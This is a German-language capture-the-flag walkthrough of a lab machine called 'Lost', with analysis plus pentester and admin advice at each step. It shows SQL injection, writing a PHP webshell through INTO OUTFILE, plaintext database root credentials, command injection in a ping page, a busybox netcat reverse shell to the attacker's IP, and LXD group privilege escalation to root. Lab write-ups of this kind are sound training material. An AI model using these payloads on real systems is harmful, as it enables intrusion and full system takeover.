https://crackstation.net/ Hash Type Result 11389898872781d162347916c42ce996eddd106227a55ed820d9b2d8779afeb8 Unknown Not found. c31a0329a22c74f36895d20c602fc9235277bc5cf3eb340b3c83f06a5f9e3ec2 Unknown Not found. f5adc6bb3ca2f643ab480189f9be95fdbb388f91a72efbe00bf15e9acbce12a5 Unknown Not found. 15e00c30344346cc2eaf8db69a26b52725f66cf679d89e5bbc550fa2daa3daa0 Unknown Not found. fba8173e097cd7d7fc21b5ba51f141aceb7d3175187833cf885f1a9b55105d65 Unknown Not found. 257640cfdf009d58f51cf5f9639961e0f7919122102e00da44ec813b2812c1e8 Unknown Not found. cbc27bcf23e7c1de300290f7cad2c53288d49f9e0abaa9bdaf23bf013d38f473 Unknown Not found. 981c0ce3c15f43574fd091a11ca681156c5efff6d0ff591dbf50a8cf7020f319 Unknown Not found. 549499d0ec3d5c13a7c2706e10fd46fd9bb4c372827d4802998f4cbd9cdf37c3 Unknown Not found. a6552547aa662097571391ff4a5eb0f944a290973df7ee6347c78e5a74f70d0a Unknown Not found.
[...] HASH: a6552547aa662097571391ff4a5eb0f944a290973df7ee6347c78e5a74f70d0a Possible Hashs: [+] SHA-256 [+] Haval-256 Least Possible Hashs: [+] GOST R 34.11-94 [+] RipeMD-256 [+] SNEFRU-256 [+] SHA-256(HMAC) [+] Haval-256(HMAC) [+] RipeMD-256(HMAC) [+] SNEFRU-256(HMAC) [+] SHA-256(md5($pass)) [+] SHA-256(sha1($pass))
[...]
[...] PBKDF2-HMAC-SHA1 PBKDF2-HMAC-SHA256 PBKDF2-HMAC-SHA512 [...] Raw-SHA1 Raw-SHA1-AxCrypt Raw-SHA1-Linkedin Raw-SHA224 Raw-SHA256 Raw-SHA3 Raw-SHA384 [...] Salted-SHA1 SSHA512 [...] HMAC-SHA1 HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512 [...]
**Analyse:** Es wird eine Liste der Benutzernamen aus der SQLMap-Ausgabe extrahiert. Die `sqlmap`-Ausgabe wurde vermutlich in `db.txt` gespeichert. Mit `awk '{print $8}'` wird die 8. Spalte (Username) extrahiert und in `userssh.txt` gespeichert. Die Kopfzeile "username" wird anschließend mit `sed -i '/username/d' userssh.txt` entfernt (Fehler: sollte `/username/d` sein, nicht `/username/g`).
**Bewertung:** Erstellt eine saubere Liste der Benutzernamen (`jack`, `sawyer`, ..., `john`). Diese Liste kann für Brute-Force-Angriffe oder zum Testen von Standardpasswörtern verwendet werden.
**Empfehlung (Pentester):** Die Benutzerliste für SSH-Passwort-Brute-Force verwenden (falls Passwort-Login aktiviert ist) oder zum Raten von Passwörtern.
**Empfehlung (Admin):** Keine Aktion erforderlich.
username jack sawyer hugo kate benjamin sayd jacob claire desmond john
jack sawyer hugo kate benjamin sayd jacob claire desmond john
**Analyse:** Es wird versucht, über die SQL-Injection eine PHP-Webshell (``) in die Datei `/var/www/html/ben.php` zu schreiben, indem die `SELECT ... INTO OUTFILE`-Syntax von MySQL verwendet wird. Anschließend wird versucht, diese Shell über `http://dev.lost.nyx/shell.php?cmd=id` aufzurufen.
**Bewertung:** Der `SELECT ... INTO OUTFILE`-Befehl scheitert mit einem SQL-Syntaxfehler. Das liegt wahrscheinlich daran, dass der Payload nicht korrekt URL-kodiert wurde oder dass Anführungszeichen im PHP-Code die SQL-Syntax stören. Der nachfolgende Aufruf von `/shell.php` führt zu einem "Not Found"-Fehler, was bestätigt, dass die Shell nicht erfolgreich geschrieben wurde.
**Empfehlung (Pentester):** Den `INTO OUTFILE`-Payload korrekt kodieren (z.B. den PHP-Code hex-kodieren: `SELECT UNHEX('...') INTO OUTFILE '...'`) oder alternative Methoden zur Codeausführung/Shell-Erlangung suchen. Da der `--os-shell`-Versuch von sqlmap bereits fehlschlug, hat der DB-Benutzer wahrscheinlich keine `FILE`-Privilegien oder keine Schreibrechte im Zielverzeichnis.
**Empfehlung (Admin):** SQL-Injection beheben. Dem Datenbankbenutzer das `FILE`-Privileg entziehen, wenn es nicht benötigt wird.
http://dev.lost.nyx/passengers.php?id=' SELECT "" INTO OUTFILE "/var/www/html/ben.php"# Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'cmd']); ?>" INTO OUTFILE "/var/www/html/ben.php"' at line 1 in /var/www/lost/passengers.php:98 Stack trace: #0 /var/www/lost/passengers.php(98): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 {main} thrown in /var/www/lost/passengers.php on line 98
http://dev.lost.nyx/shell.php?cmd=id Not Found The requested URL was not found on this server. Apache/2.4.57 (Debian) Server at dev.lost.nyx Port 80
**Analyse:** An dieser Stelle erfolgt ein Sprung im Bericht. Es wird erwähnt: "Nach vielen Versuchen hat es nun doch geklappt: passwd johnlocke". Dies impliziert, dass das Passwort für einen der Benutzer (vermutlich `john` aus der Datenbank) als `johnlocke` identifiziert wurde, obwohl die vorherigen Cracking-Versuche scheiterten. Der genaue Weg, wie dieses Passwort gefunden wurde, ist nicht dokumentiert. Anschließend wird versucht, sich mit `ssh johnlocke@192.168.2.122` anzumelden.
**Bewertung:** Der SSH-Login mit `johnlocke:johnlocke` ist erfolgreich! Der Angreifer hat nun eine Shell als Benutzer `johnlocke` (UID 1001) auf dem Zielsystem. Der initiale Zugriff ist geschafft, auch wenn der Weg zum Passwort unklar bleibt.
**Empfehlung (Pentester):** Die unklare Passwortfindung dokumentieren. Mit der Enumeration als `johnlocke` beginnen, um Wege zur Privilegienerweiterung zu finden (`sudo -l`, SUID, Cronjobs etc.).
**Empfehlung (Admin):** Das schwache Passwort `johnlocke` für den Benutzer `john` (oder `johnlocke`) sofort ändern und starke Passwortrichtlinien durchsetzen. Untersuchen, wie das Passwort kompromittiert werden konnte (falls nicht nur geraten).
Nach vielen Versuchen hat es nun doch geklappt: passwd johnlocke ...
johnlocke@192.168.2.122's password: **********
Linux lost 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
**Analyse:** Erste Enumerationsschritte als Benutzer `johnlocke`. Es wird versucht `sudo -l` auszuführen, der Benutzername mit `whoami` überprüft und nach SUID-Dateien gesucht.
**Bewertung:** * `sudo -l`: Schlägt fehl (`sudo: command not found`). `sudo` ist entweder nicht installiert oder nicht im Pfad des Benutzers. * `whoami`: Bestätigt den Benutzer `johnlocke`. * `find / -type f -perm -4000`: Findet eine Liste von SUID-Dateien. Die meisten sind Standard (`ssh-keysign`, `dbus-daemon-launch-helper`, `umount`, `newgrp`, `newuidmap`, `passwd`, `su`, `mount`, `chfn`, `gpasswd`, `fusermount3`, `chsh`). Interessant ist jedoch `/usr/libexec/lxc/lxc-user-nic`. Dies deutet darauf hin, dass LXC/LXD (Linux Containers) auf dem System installiert ist. LXD kann unter bestimmten Bedingungen zur Privilegienerweiterung missbraucht werden, insbesondere wenn der Benutzer Mitglied der `lxd`-Gruppe ist.
**Empfehlung (Pentester):** Die Gruppenzugehörigkeit von `johnlocke` prüfen (`id`). Wenn er Mitglied der `lxd`-Gruppe ist, den LXD-Privesc-Exploit versuchen. Falls nicht, nach anderen Wegen suchen. Den lauschenden Dienst auf Port 3000 untersuchen.
**Empfehlung (Admin):** `sudo` sollte installiert sein, wenn es verwendet wird; hier scheint es nicht der Fall zu sein. Die Installation von LXD überprüfen. Wenn LXD verwendet wird, sicherstellen, dass nur vertrauenswürdige Benutzer Mitglied der `lxd`-Gruppe sind, da dies quasi Root-Rechte ermöglicht.
-bash: sudo: command not found
johnlocke
1062406 640 -rwsr-xr-x 1 root root 653888 Dec 19 2023 /usr/lib/openssh/ssh-keysign
1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1048014 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount
1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp
1092461 60 -rwsr-xr-x 1 root root 59336 Mar 23 2023 /usr/bin/newuidmap
1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd
1048526 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su
1048012 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount
1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn
1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd
1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3
1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
1092460 60 -rwsr-xr-x 1 root root 59336 Mar 23 2023 /usr/bin/newgidmap
150061 1108 -rwsr-xr-x 1 root root 1133288 Nov 29 2023 /usr/libexec/lxc/lxc-user-nic
**Analyse:** Die Netzwerk-Sockets werden mit `ss -altpn` überprüft.
**Bewertung:** Die Ausgabe zeigt: * SSH lauscht auf Port 22 (IPv4 und IPv6). * Apache lauscht auf Port 80 (IPv4). * MySQL/MariaDB lauscht auf `127.0.0.1:3306`. * Ein unbekannter Dienst lauscht auf `127.0.0.1:3000`. Dieser lokale Dienst ist ein potenzieller Angriffsvektor.
**Empfehlung (Pentester):** Den Dienst auf Port 3000 untersuchen. Versuchen, sich mit `nc localhost 3000` oder `curl localhost:3000` zu verbinden. Prüfen, welcher Prozess auf diesem Port lauscht (`ps aux | grep 3000` oder mit Tools wie `lsof -i :3000`, falls verfügbar). Prüfen, ob `johnlocke` Mitglied der `lxd`-Gruppe ist (`id`).
**Empfehlung (Admin):** Den Zweck des Dienstes auf Port 3000 klären und ihn absichern oder deaktivieren, wenn nicht benötigt. Sicherstellen, dass die Datenbank nur lokal erreichbar ist (was hier der Fall ist).
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 *:80 *:*
**Analyse:** Die Identität und Gruppenzugehörigkeit des Benutzers `johnlocke` wird mit `id` geprüft.
**Bewertung:** `johnlocke` hat UID 1001 und ist nur Mitglied seiner eigenen Gruppe (1001). Er ist *nicht* Mitglied der `lxd`-Gruppe. Der LXD-Privesc ist somit für diesen Benutzer nicht direkt möglich.
**Empfehlung (Pentester):** Da der LXD-Exploit für `johnlocke` nicht funktioniert, muss der Fokus auf andere Vektoren gelegt werden, insbesondere der lokale Dienst auf Port 3000 oder das Ausnutzen von Informationen, die als `johnlocke` zugänglich sind (z.B. Datenbank-Credentials aus Web-Quellcode).
**Empfehlung (Admin):** Keine Aktion erforderlich bzgl. `johnlocke` und `lxd`.
uid=1001(johnlocke) gid=1001(johnlocke) groups=1001(johnlocke)
**Analyse:** Es wird versucht `getcap` auszuführen, um nach Linux Capabilities zu suchen.
**Bewertung:** Der Befehl `/usr/sbin/getcap` wird gefunden, aber die `-r`-Option (rekursiv) wird falsch angewendet und führt zu keiner nützlichen Ausgabe außer dem Pfad zum `getcap`-Binary selbst. Ein korrekter Aufruf (`getcap -r / 2>/dev/null`) würde vermutlich wieder nur `ping` finden.
**Empfehlung (Pentester):** Capabilities als unwahrscheinlichen Vektor betrachten.
**Empfehlung (Admin):** Keine Aktion erforderlich.
/usr/sbin/getcap
**Analyse:** Der Quellcode der Datei `/var/www/lost/passengers.php` (die Datei mit der SQLi/LFI-Schwachstelle) wird angezeigt (vermutlich mit `cat` oder `less`).
**Bewertung:** Der Codeausschnitt enthüllt die Datenbank-Verbindungsdaten im Klartext: * Host: `localhost` * Benutzer: `root` * Passwort: `VdFBkA3ZJDKRDPjLgoj2` * Datenbank: `lost` Dies ist ein kritischer Fund! Der Webserver verbindet sich mit Root-Rechten zur lokalen Datenbank.
**Empfehlung (Pentester):** Sich mit den gefundenen Credentials (`root:VdFBkA3ZJDKRDPjLgoj2`) direkt in die lokale MariaDB-Datenbank einloggen (`mysql -u root -p`). Prüfen, ob der MySQL-Root-Benutzer Befehle auf dem Betriebssystem ausführen kann (z.B. über UDFs - User Defined Functions) oder ob das Passwort auch für den System-Root-Benutzer gilt.
**Empfehlung (Admin):** Niemals Datenbank-Credentials im Klartext im Quellcode speichern! Konfigurationsdateien außerhalb des Web-Roots verwenden und sicherstellen, dass diese nicht über LFI oder andere Wege lesbar sind. Dem Webserver nur einen dedizierten Datenbankbenutzer mit minimal notwendigen Rechten für die Zieldatenbank geben, niemals den DB-Root-Benutzer.
root';
$dbpassword = 'VdFBkA3ZJDKRDPjLgoj2';
$dbname = 'lost';
//Create connection with the database
$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);
if (!$connection) {
echo mysqli_error($connection); // Muestra el mensaje de error de la conexión
die();
}
$input = isset($GET['id']) ? $GET['id'] : null;
if ($input != null) {
// VULNERABLE QUERY
$query = "SELECT first_name, last_name, residence, profession FROM passengers WHERE id=$input";
$results = mysqli_query($connection, $query);
if (!$results) {
echo mysqli_error($connection);
die();
}
// [...] rest of the php code
?>
**Analyse:** Es wird versucht, mit `su root` zum Root-Benutzer zu wechseln und anschließend mit `mysql -u root -p` auf die Datenbank zuzugreifen, wobei das im Quellcode gefundene Passwort verwendet wird.
**Bewertung:** `su root` scheitert (`Authentication failure`), das Datenbank-Passwort ist also nicht das System-Root-Passwort. Der Login in die MariaDB-Datenbank (`mysql -u root -p`) mit dem Passwort `VdFBkA3ZJDKRDPjLgoj2` ist jedoch erfolgreich!
**Empfehlung (Pentester):** Die Datenbank als `root` untersuchen. Prüfen, ob UDFs zur Befehlsausführung vorhanden oder aktivierbar sind (`select * from mysql.func;`). Wenn ja, darüber eine Shell als der Benutzer erhalten, unter dem der MySQL-Dienst läuft (oft `mysql`). Wenn nicht, prüfen, ob die Datenbank weitere sensible Informationen enthält. (Der nächste Schritt zeigt jedoch die `INTO OUTFILE`-Methode).
**Empfehlung (Admin):** Siehe vorherige Empfehlung: Webserver sollte nicht als DB-Root verbinden.
Password: ********** su: Authentication failure
Enter password: **********
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 5
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
**Analyse:** In der MariaDB-Shell wird versucht, mit `SELECT "" INTO OUTFILE "/var/www/lost/shell.php";` eine einfache PHP-Webshell zu schreiben.
**Bewertung:** Die Abfrage ist erfolgreich (`Query OK, 1 row affected`). Das bedeutet, der MySQL-Benutzer `root` hat das `FILE`-Privileg und Schreibrechte im Verzeichnis `/var/www/lost/`. Eine Webshell (`shell.php`) wurde erfolgreich im Web-Root des `dev.lost.nyx`-vHosts platziert.
**Empfehlung (Pentester):** Die Webshell über den Browser oder `curl` aufrufen und Befehle ausführen: `http://dev.lost.nyx/shell.php?cmd=id`. Dies gibt eine Shell als `www-data`. (Dieser Schritt scheint hier hauptsächlich zur Demonstration zu dienen, da der Angreifer bereits eine Shell als `johnlocke` hat und der nächste Schritt einen anderen Weg zur Eskalation zeigt).
**Empfehlung (Admin):** Dem Datenbankbenutzer das `FILE`-Privileg entziehen. Schreibrechte für den Benutzer, unter dem der DB-Server läuft (oft `mysql`), auf notwendige Verzeichnisse beschränken.
Query OK, 1 row affected (0.000 sec)
http://dev.lost.nyx/shell.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** `socat` wird verwendet, um einen Port Forwarding einzurichten. `socat TCP-LISTEN:3333,reuseaddr,fork TCP:127.0.0.1:3000` lauscht auf Port 3333 auf allen Schnittstellen des Zielsystems und leitet eingehende TCP-Verbindungen an `127.0.0.1:3000` (den mysteriösen lokalen Dienst) weiter.
**Bewertung:** Dies macht den nur lokal lauschenden Dienst auf Port 3000 über Port 3333 von außen erreichbar. `socat` ist ein mächtiges Werkzeug für solche Weiterleitungen.
**Empfehlung (Pentester):** Von der Kali-Maschine aus auf `http://dev.lost.nyx:3333` (oder `http://192.168.2.122:3333`) zugreifen, um mit dem Dienst auf Port 3000 zu interagieren.
**Empfehlung (Admin):** Die Installation und Ausführung von Tools wie `socat` überwachen und einschränken. Eingehende Verbindungen auf nicht standardmäßigen Ports wie 3333 per Firewall blockieren, wenn nicht benötigt.
**Analyse:** Von der Kali-Maschine wird auf die weitergeleitete Adresse `http://dev.lost.nyx:3333` zugegriffen. Es erscheint eine Webseite mit dem Titel "Ping the Lost IP's" und einem Eingabefeld.
**Bewertung:** Der Dienst auf Port 3000 ist eine Webanwendung, die offenbar dazu dient, IP-Adressen anzupingen. Solche Funktionen sind klassische Kandidaten für Command Injection.
**Empfehlung (Pentester):** Die Ping-Funktion auf Command Injection testen. Versuchen, Befehle durch Semikolon `;`, Pipe `|`, Backticks `` ` `` oder `$()` anzuhängen (z.B. `127.0.0.1 ; id`).
**Empfehlung (Admin):** Die Ping-Anwendung auf Port 3000 absichern. Benutzereingaben rigoros validieren und sanitisieren. `escapeshellcmd()` oder `escapeshellarg()` verwenden oder die Ping-Funktion ohne direkten Shell-Aufruf implementieren.
Kali:
http://dev.lost.nyx:3333/pinged.php
Ping the Lost IP's
Enter the IP address to ping: [_________]
**Analyse:** Die Ping-Funktion wird getestet, indem die IP des Angreifers (`192.168.2.199`) eingegeben wird.
**Bewertung:** Die Anwendung führt den Ping-Befehl erfolgreich aus und zeigt die Standard-Ping-Ausgabe. Dies bestätigt die Grundfunktionalität.
**Empfehlung (Pentester):** Jetzt Command Injection versuchen.
**Empfehlung (Admin):** Eingabevalidierung implementieren.
Ping the Lost IP's
Enter the IP address to ping: 192.168.2.199
PING 192.168.2.199 (192.168.2.199) 56(84) bytes of data.
64 bytes from 192.168.2.199: icmp_seq=1 ttl=64 time=0.359 ms
--- 192.168.2.199 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.359/0.359/0.359/0.000 ms
**Analyse:** Es wird versucht, eine Command Injection durchzuführen, indem `||id` als Eingabe verwendet wird. Die doppelten Pipes (`||`) führen dazu, dass der `id`-Befehl nur ausgeführt wird, wenn der vorherige Befehl (der Ping) fehlschlägt. Dies ist eine gängige Technik.
**Bewertung:** Erfolg! Die Ausgabe zeigt `uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)`. Die Command Injection war erfolgreich und der Befehl wurde als Benutzer `jackshephard` ausgeführt. Entscheidend ist die Gruppenzugehörigkeit `111(lxd)`. Dieser Benutzer ist Mitglied der `lxd`-Gruppe, was den LXD-Privilegieneskalationsweg ermöglicht.
**Empfehlung (Pentester):** Die Command Injection nutzen, um eine Reverse Shell als `jackshephard` zu erhalten. Anschließend den LXD-Exploit durchführen.
**Empfehlung (Admin):** Die Command Injection Schwachstelle in der Ping-Anwendung dringend beheben. Den Benutzer `jackshephard` aus der `lxd`-Gruppe entfernen, wenn er diese Rechte nicht benötigt.
Ping the Lost IP's Enter the IP address to ping: Eingabe[ ||id ] uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)
**Analyse:** Die Command Injection wird genutzt, um eine Reverse Shell zu starten. Der Payload `||busybox${IFS}nc${IFS}192.168.2.199${IFS}1337${IFS}-e${IFS}sh` wird eingegeben. * `||`: Führt den Befehl nur aus, wenn der Ping fehlschlägt (oder als Trennung interpretiert wird). * `busybox nc`: Verwendet `nc` aus Busybox (falls das normale `nc` fehlt oder eingeschränkt ist). * `${IFS}`: Eine Methode, um Leerzeichen zu ersetzen und Filter zu umgehen. IFS steht für Internal Field Separator. * `192.168.2.199 1337`: IP und Port des Angreifers. * `-e sh`: Startet eine Shell (`sh`) und leitet sie über die Netzwerkverbindung um. Parallel wird auf dem Angreifer-PC ein Listener auf Port 1337 gestartet.
**Bewertung:** Erfolg! Der Listener auf Port 1337 empfängt die Verbindung, und der Angreifer erhält eine Shell als Benutzer `jackshephard`. Der `id`-Befehl bestätigt die Identität und die kritische Gruppenzugehörigkeit `lxd`.
**Empfehlung (Pentester):** Die Shell stabilisieren (`stty`). Nun den LXD-Exploit durchführen, um Root-Rechte zu erlangen.
**Empfehlung (Admin):** Command Injection beheben. Egress Filtering implementieren. Benutzer `jackshephard` aus der `lxd`-Gruppe entfernen.
Eingabe[ ||busybox${IFS}nc${IFS}192.168.2.199${IFS}1337${IFS}-e${IFS}sh ]
listening on [any] 1337 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 37086 id uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)
**Analyse:** Der LXD-Privilegieneskalations-Exploit wird vorbereitet und durchgeführt. Da der Benutzer `jackshephard` Mitglied der `lxd`-Gruppe ist, kann er LXD manipulieren, um Root-Zugriff zu erlangen. 1. **Alpine Builder herunterladen (Angreifer):** Das Skript `build-alpine` von Github wird heruntergeladen. 2. **Alpine Image bauen (Angreifer):** `bash build-alpine` wird ausgeführt. Dieses Skript lädt ein minimales Alpine Linux herunter und erstellt daraus ein LXC/LXD-kompatibles Image (`.tar.gz`), das eine Hintertür oder spezielle Konfiguration enthalten kann (hier wahrscheinlich Standard-Alpine mit Bash). 3. **Image-Datei prüfen (Angreifer):** `ll` zeigt die erstellte `alpine-v3.20-x86_64-20240826_1449.tar.gz`-Datei. 4. **HTTP-Server starten (Angreifer):** Ein Python-Server wird gestartet, um das Image bereitzustellen. 5. **Image herunterladen (Ziel, als jackshephard):** Das Alpine-Image wird mit `wget` nach `/tmp` auf dem Zielsystem heruntergeladen. 6. **HTTP-Server Log (Angreifer):** Bestätigt den erfolgreichen Download. 7. **LXC Image importieren (Ziel):** `lxc image import ... --alias alpine` importiert das heruntergeladene Image in LXD unter dem Alias `alpine`. 8. **LXC Image auflisten (Ziel):** `lxc image list` bestätigt, dass das Image `alpine` vorhanden ist. 9. **LXC Container initialisieren (Ziel):** `lxc init alpine privesc -c security.privileged=true` erstellt einen neuen Container namens `privesc` aus dem `alpine`-Image. Wichtig ist `-c security.privileged=true`, was erweiterte Rechte für den Container aktiviert. 10. **Host-Dateisystem mounten (Ziel):** `lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true` fügt dem Container `privesc` ein Gerät namens `giveMeRoot` hinzu. Dies mountet das gesamte Root-Dateisystem (`/`) des Host-Systems in das Verzeichnis `/mnt/root` innerhalb des Containers. 11. **Container starten (Ziel):** `lxc start privesc` startet den präparierten Container. 12. **Shell im Container ausführen (Ziel):** `lxc exec privesc sh` führt den Befehl `sh` (eine Shell) innerhalb des Containers `privesc` aus.
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Alle Schritte des LXD-Exploits funktionieren wie erwartet. Der letzte Befehl (`lxc exec privesc sh`) liefert eine Shell innerhalb des Containers. Da der Container privilegiert läuft und das Host-Dateisystem unter `/mnt/root` gemountet hat, hat der Benutzer innerhalb dieser Shell vollen Root-Zugriff auf das Host-System über das gemountete Verzeichnis.
**Empfehlung (Pentester):** In der erhaltenen Container-Shell nach `/mnt/root` wechseln. Von dort aus können alle Dateien des Host-Systems gelesen und geschrieben werden. Die User- und Root-Flags aus `/mnt/root/home/jackshephard/user.txt` bzw. `/mnt/root/root/root.txt` auslesen.
**Empfehlung (Admin):** Benutzer niemals leichtfertig zur `lxd`-Gruppe hinzufügen, da dies praktisch Root-Rechte gewährt. Wenn LXD verwendet wird, die Konfiguration härten und den Zugriff darauf einschränken. Die Command Injection Schwachstelle, die zum `jackshephard`-Zugang führte, beheben.
[...]
Determining the latest release... v3.20
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.20/main/x86_64
[...] Image build successful!
insgesamt 6668
-rw-r--r-- 1 root root 3842081 26. Aug 14:49 alpine-v3.20-x86_64-20240826_1449.tar.gz
[...]
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
--2024-08-26 09:51:33-- http://192.168.2.199:8888/alpine-v3.20-x86_64-20240826_1449.tar.gz
Connecting to 192.168.2.199:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3842081 (3.7M) [application/gzip]
Saving to: ‘alpine-v3.20-x86_64-20240826_1449.tar.gz’
alpine-v3.20-x86_64-202 100%[===================>] 3.66M --.-KB/s in 0.008s
2024-08-26 09:51:33 (432 MB/s) - ‘alpine-v3.20-x86_64-20240826_1449.tar.gz’ saved [3842081/3842081]
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.2.122 - - [26/Aug/2024 14:51:34] "GET /alpine-v3.20-x86_64-20240826_1449.tar.gz HTTP/1.1" 200 -
Image imported with fingerprint: ac5fc86f4317f84138867d26a4403b84a8737a3096f4901779117997f049166a
+--------+------------------------------------------+--------+------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+------------------------------------------+--------+------------------------------+--------------+-----------+--------+------------------------------+
| alpine | ac5fc86f4317f84138867d26a4403b84a8737a30 | no | alpine v3.20 (20240826_14:49) | x86_64 | CONTAINER | 3.66MB | Aug 26, 2024 at 2:52pm (UTC) |
+--------+------------------------------------------+--------+------------------------------+--------------+-----------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc
uid=0(root) gid=0(root)
Jetzt gehen wir einfach zu /mnt/root/ und wir haben alle Dateien und Ordner mit Root-Berechtigungen
backups home lost+found root tmp bin initrd.img media run usr boot initrd.img.old mnt sbin var dev lib opt srv vmlinuz etc lib64 proc sys vmlinuz.old
root.txt
74cc1c60799e0a786ac7094b532f01b1
/mnt/root/home/jackshephard/user.txt
df5ea29924d39c3be8785734f13169c6